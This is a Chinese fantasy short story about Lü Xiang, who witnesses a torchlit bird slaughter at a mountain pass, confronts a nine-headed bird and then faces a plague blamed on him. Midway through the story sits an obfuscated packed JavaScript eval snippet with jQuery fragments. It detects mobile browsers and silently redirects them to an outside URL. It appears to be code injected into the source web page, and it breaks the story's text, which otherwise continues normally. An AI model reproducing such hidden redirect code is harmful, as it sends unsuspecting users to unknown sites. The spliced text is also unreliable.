九头怪鸟


    曾任云南太守的吕凯，有一子名吕祥，因镇守石河城，性喜狩猎于青龙山。这日青龙山秋意已深，吕祥却照例引着数十兵丁猎犬，闯入那愈显幽深的莽林。这石河城守将，生就一副虎背熊腰的身板，整日里仿佛筋骨不安，唯有用弓弦的颤鸣与猎物的哀鸣方能平息。此番入山，正值大风垭口传闻中万鸟夜渡的奇景时节，他早已听闻，也早打定主意：此等天地造化之异观，岂能错过？更兼有奇禽异兽可猎，正是一举两得。


    才进山中，只见山路蜿蜒，古木参天。山间浮动着一种奇异气息，非纯粹草木之味，也非寻常泥土之息，倒似有某种无形之物在悄然弥散。行至大风垭口，地势豁然开朗，一道巨大隘口如被神斧劈开。兵丁指着垭口深处弥漫不散的薄雾，神色肃然：“少将军请看，此即‘鸟道’。老辈人讲，是当年天宫的彩凤仙为救世人，盗取天河九稻，被虬龙察觉追袭。龙爪裂空，一爪落于龙箐关，二爪便在此大风垭口，三爪劈出吊鸟山。凤仙陨落，神羽飘零，散落这三处。自此，年年秋初，天下群鸟便如得了无声的召唤，必趁夜由此飞渡，凭吊凤仙遗落的精魄。”


    此时暮色四合，垭口雾气渐浓，氤氲流转，幻化出七彩迷离的光晕，远远望去，竟似一道微缩的虹霓横亘于幽谷。早有一些本地山民在垭口附近生起数堆熊熊篝火，火光穿透浓雾，在远处观之，那烟雾缭绕、光怪陆离的景象，恍若凤凰绚烂的尾羽在痛苦中挣扎翻腾。


    "来了,来了……”兵丁低呼一声，声音带着敬畏的微颤。吕祥精神一振，急忙凝神望去。只见垭口上空，由远及近，先是几点模糊的墨影，继而汇成一片涌动的乌云，挟着沉闷如潮的羽翼破空之声，铺天盖地而来。那鸟群如决堤的黑色洪流，瞬间灌满了整个隘口。大者如鸿雁、仙鹤，其中仙鹤便有十数种之多，羽色各异。亦有本山所产的白鹇、锦雉不等。小者竟只如豆粒，振翅之声细密如急雨。群鸟在雾与光交织的垭口上空盘旋、俯冲，发出杂乱而凄惶的鸣叫，仿佛迷失在光怪陆离的幻境中，将那篝火与烟雾幻化的七彩光晕，错认作它们永恒追念的凤仙遗羽。


    山民们眼中闪烁着近乎狂热的兴奋，他们手持顶端缠裹厚布的粗长木杆，纷纷伸向跳跃的火焰。布团一沾火苗，立刻化作熊熊燃烧的火炬。山民们奋力挥舞着这些“火棍”，带起一道道灼热耀眼的火弧，在浓雾与鸟影中狂乱地搅动。群鸟如同被无形的巨网罩住，发出更加凄厉绝望的哀鸣，如雨点般噼啪坠落。它们并非被火棍直接击中，而是被那狂舞的光焰彻底迷乱了心神，误以为那便是召唤它们的凤凰精魄，不顾一切地撞向炽热，或是晕眩坠地。山民们欢呼着，敏捷地扑向地上挣扎的鸟雀，迅速塞入随身携带的麻袋。


    直把一旁的吕祥看得心惊肉跳，这哪里是狩猎，分明是天地间一场邪异的掠夺。他喝令手下兵丁也依样画葫芦，举火棍加入其中。一时间，垭口内火光冲天，鸟羽纷飞如雪，哀鸣与狂笑交织，浓烈的焦糊气味混合着血腥，在诡异的七彩雾霭中弥漫开来，景象令人心魄摇荡又寒彻骨髓。


    篝火旁，猎获的鸟雀早已堆积如山，吕祥随手抓起一只尚在抽搐的锦鸡，掰开其喙，不禁“咦”了一声。兵士们闻言，也纷纷检查手中猎物，无不惊讶。无论体型大小，种类贵贱，所有鸟雀的嗉囊竟皆是空空如也。它们腹内无食，却为何不远万里，拼死奔赴这大风垭口的火光？一股难以言喻的寒意悄然爬上吕祥的脊背。


    子时刚过，垭口深处骤然传来一声啼鸣，那声音非禽非兽，如同一个含混不清的“阿——哇——”，初时低沉，却蕴含着穿透群山的力量，在寂静的峡谷中反复回荡、叠加，瞬间压过了群鸟的悲鸣与人的喧哗。这啼声凄厉得锥心刺骨，仿佛无数冤魂在幽冥地府齐声恸哭。


    一股阴森彻骨的寒风毫无征兆地平地卷起，打着旋儿扫过篝火堆，火焰顿时疯狂摇曳，明灭不定，映照得兵士和山民们的脸孔忽青忽白，扭曲变形。篝火旁的温度骤降，许多人牙齿咯咯作响，不由自主地缩紧脖子，一股源自灵魂深处的恐惧攫住了所有人。整个垭口，陷入一片死寂的恐怖之中。


    “那是、那是什么？！”一名兵士面无人色，指着隘口上方浓得化不开的黑暗，声音抖得不成样子。众人抬头，无不倒吸一口冷气。


    只见浓雾深处，一个巨大无比的黑影缓缓沉降下来，其形貌在雾气和摇曳火光的扭曲映照下，宛如梦魔的实体降临。待它穿破最上层的薄雾，显露出真容，所有人魂飞魄散——那是一只难以想象的巨鸟！身高几近丈八，双翼展开，足以遮蔽垭口小半天空，怕不下五丈之阔。最令人骇绝的是它颈项之上，竟赫然生长着九颗狰狞的头颅！正中最硕大的一颗，形态威严，喉部生有一个巨大而鼓胀的嗉囊，隐隐有幽光流转。其余八颗较小的头颅，如众星拱月般环绕其侧，目光幽绿，充满了怨毒与凶戾。


    此刻，那中央巨首正发出低沉而威严的“呵——”声，如同闷雷滚过天际。而环绕的八颗小首则此起彼伏地发出尖锐刺耳的“哇——哇——”啼鸣，与主首的“呵”声交织，形成一种令人心神欲裂、魂魄摇荡的恐怖魔音。


    几个离得近些的山民，被这九首同鸣的魔音贯入耳中，身体猛地一僵，眼神瞬间涣散空洞，脸上却浮现出诡异的痴笑，手舞足蹈，如同提线木偶般朝着那巨鸟的方向蹒跚而去，口中嗬嗬作响，涎水直流。其余人等，包括吕祥麾下那些见惯沙场生死的悍卒，此刻也无不两股战战，心胆俱寒，手中兵器几乎握持不住。


    九头怪鸟九双幽绿的眼睛，如同十八盏来自地狱的鬼火，冷冷地扫视着地上堆积如山的鸟尸和那些被魔音摄住、痴痴傻傻走向它的人。中央巨首的嗉囊微微鼓动，发出沉闷的咕噜声。环绕的八颗小首，啼鸣声愈发凄厉急促，充满嗜血的渴望。它巨大的身躯缓缓下沉，带起一阵令人窒息的腥风，阴影彻底笼罩了下方的人群。它巨大的钩喙微微张开，对着那些痴迷的山民，也对着堆积的鸟尸，仿佛下一刻就要择人而噬，饱餐这混乱的血腥盛宴。


    就在这千钧一发之际，吕祥胸中一股莫名的激流直冲顶门，压倒了那噬魂的恐惧。眼前这惨烈的景象，空嗉的鸟雀，痴狂的山民，还有这九首魔禽眼中那似曾相识、仿佛穿透亘古的悲怒，交织成一幅惊心动魄的图画。他猛地想起刚才兵丁所说——彩凤仙为救苍生而陨落，其血化雾，其精魄不散……一个近乎直觉的念头如闪电般照亮了他的脑海：放生！赶快把那些鸟放生！


    "住手！统统住手！”吕祥用尽全身力气嘶吼，声音竟盖过了九头鸟的魔音，“快！把所有网中的、袋里的鸟儿，全给我放了！立刻！”


    他的吼声带着不容置疑的决绝和一种奇异的威严。兵士们如梦初醒，虽不明所以，但军令如山，加之早已被这恐怖景象骇得六神无主，此刻如同抓住救命稻草，纷纷手忙脚乱地割断网绳，解开麻袋口。刹那间，无数幸存的鸟雀扑棱棱地挣扎飞出，带着劫后余生的惊惶，四散入浓雾与山林之中。


    怪鸟中央那颗巨首的幽绿眼瞳，微微转动了一下，似乎闪过一丝困惑。那低沉威严的“呵——”声，竟也出现了一丝短暂的凝滞。


    吕祥目光急扫，瞥见自己坐骑鞍鞯旁悬挂着一个备用的、缀满彩色丝线的绒球，本是平日狩猎时逗引猎鹰所用。他毫不犹豫，一把扯下，紧握在手。深吸一口气，竟迎着那令人窒息的腥风与庞大无匹的阴影，一步一步，朝着九头怪鸟走去。每一步都踏在死亡的边缘，每一步都牵动着所有幸存者的心弦。他高举着那团鲜艳的彩球，对着中央巨首那双深不见底、仿佛蕴含亘古风暴的幽绿眼瞳，用尽全身的力气和勇气喊道：


    “凤君！若真是您精魄不灭，请看此物！彩线犹在，莫再悲啼，归去吧！” 他的声音在巨大的恐惧中竟透出一种奇异的穿透力。


    那中央巨首微微一偏，巨大的眼瞳凝视着吕昌祥手中那团小小的、在火光与雾气中显得格外脆弱却又无比鲜艳的彩球。那幽绿的光芒似乎有了一瞬极其细微的波动，如同深渊中投入了一颗石子。


    它喉间低沉的“呵……”声渐渐低缓下来，竟似一声悠长而沉重的叹息，带着无尽的疲惫与苍凉。环绕的八颗小首那凄厉的“哇哇”声也随之减弱，渐渐平息，只余下低沉的咕噜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792299|171305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    吕祥抓住这稍纵即逝的寂静，拼尽最后一丝胆气，猛地向前一冲，几乎扑到巨鸟那布满粗硬翎羽、如同古树虬枝般的巨爪前。他奋力跃起，将手中的彩球，稳稳地、轻柔地系在了中央巨首下方那覆盖着坚硬鳞片的颈项之上。彩球虽小，那斑斓的色彩在昏暗中却异常醒目，如同一点微弱的希望之火。


    系好彩球，吕祥立刻疾退数步。九头怪鸟中央巨首缓缓转动，那幽深的目光再次落在吕祥身上，停留了漫长的数息。那目光中，狂暴的怨毒似乎消散了许多，取而代之的是一种难以言喻的复杂情绪，像是审视，又像是一声穿越万古的无声叹息。


    终于，怪鸟不再发出任何鸣叫，巨大的双翼猛地一振，卷起一股强劲的飓风，吹得地上篝火明灭欲熄，飞沙走石。庞大的身躯裹挟着浓雾，缓缓升腾而起，九个头颅在夜空中构成一幅诡异而震撼的剪影，最终消失在垭口上方深不可测的黑暗里，只留下那一点微弱的彩球颜色，在众人眼中烙下惊魂的印记。


    垭口死一般的寂静了许久后，才有人发出劫后余生的哭泣和压抑的呻吟。那些先前被魔音所惑、痴痴走向巨鸟的山民，此刻如梦初醒，茫然四顾，浑然不知方才已在鬼门关前走了一遭。


    次年开春未久，本该万物复苏的时节，一场诡谲的大疫却如跗骨之蛆，毫无征兆地在永昌、叶榆等地疯狂蔓延开来。起初是低热不退，继而浑身奇痒，皮肤下隐现诡异的青紫色脉络，状若鸟爪抓痕。不出三日，患者神智昏乱，口中发出含混不清的“呵……哇……”呓语，与当夜大风垭口那九头怪鸟的啼鸣如出一辙。更令人毛骨悚然的是，患者一旦身死，其口鼻眼耳之中，竟会钻出细小的、色泽黯淡的禽鸟绒羽。


    恐慌如野火燎原，一时之间街头巷尾，茶馆酒肆，人们压低声音，交换着惊恐的眼神和确信无疑的流言：


    “听说了吗？是那九头怪鸟回来索命了！”


    “定是那吕家公子在大风垭口冲撞了神鸟，那鸟本就是大不祥！”


    “哪里是冲撞？分明是那吕祥胆大包天，竟敢用凡俗彩球亵渎神鸟之颈！触怒了神灵，降下这无边灾厄啊！”


    “那夜大风垭口死了那么多鸟，怨气冲天，都附在那怪鸟身上了，它是来散播瘟疫的瘟神！”


    吕祥独自立于石河城冰冷的城楼之上，听着城内城外此起彼伏、为驱赶“瘟鸟”而昼夜不停的刺耳锣声和绝望的哭嚎，寒风如刀，刮过脸庞。他下意识地抬起手，指尖仿佛还能触摸到那巨鸟颈项上冰冷粗粝的鳞片触感。怀中贴身藏着的，是那夜事后在垭口泥泞中寻回的一根巨大翎羽，乌黑如铁，边缘却流转着一丝微不可察的暗金光泽。他紧紧攥着那根羽毛，指节因用力而泛白。百姓的怨毒诅咒如冰冷的针，刺入耳中，刺进心里。


    他昂首望向青龙山方向，暮色沉沉，山峦的轮廓在昏暗的天光下如同蛰伏的巨兽。恍惚间，他似乎又看到那九颗头颅在浓雾中沉浮的骇人景象。那中央巨首在系上彩球后凝视他的眼神，此刻在记忆中愈发清晰——那绝非纯粹的暴戾或毁灭，在那亘古的悲怒深处，似乎……似乎还藏着一丝难以捕捉的、近乎悲悯的微光？


    这念头如电光石火，一闪而过，随即被淹没在城内更汹涌的哀嚎与诅咒声浪里。那微光，是真实的救赎，抑或只是绝望中一厢情愿的幻象？系上彩球的刹那，他究竟是在安抚一位陨落神祇的悲魂，还是在无意中，触动了某种更深邃、更不可测的因果之链？


    只是自那夜之后，再无人敢于在雾中点燃篝火。偶尔有胆大的猎户或行商在月黑风高之夜匆匆经过垭口，常会汗毛倒竖地听到风中夹杂着奇异的声响。大风垭口的雾气依旧年复一年地升腾变幻，在秋初的夜晚，依旧会折射出迷离如凤凰尾羽的七彩光晕。有时是低沉威严的“呵……”，有时是凄厉短促的“哇……哇……”，高低错落，仿佛来自九重幽冥。间或，在那声音的间隙，似乎还夹杂着一缕极其微弱、几乎被风声彻底撕碎的丝线摩擦之声，簌簌……簌簌……，固执地盘旋在垭口永恒的雾霭与黑暗之上，如同一个无解的谜题，在时光深处低回萦绕，永无休止。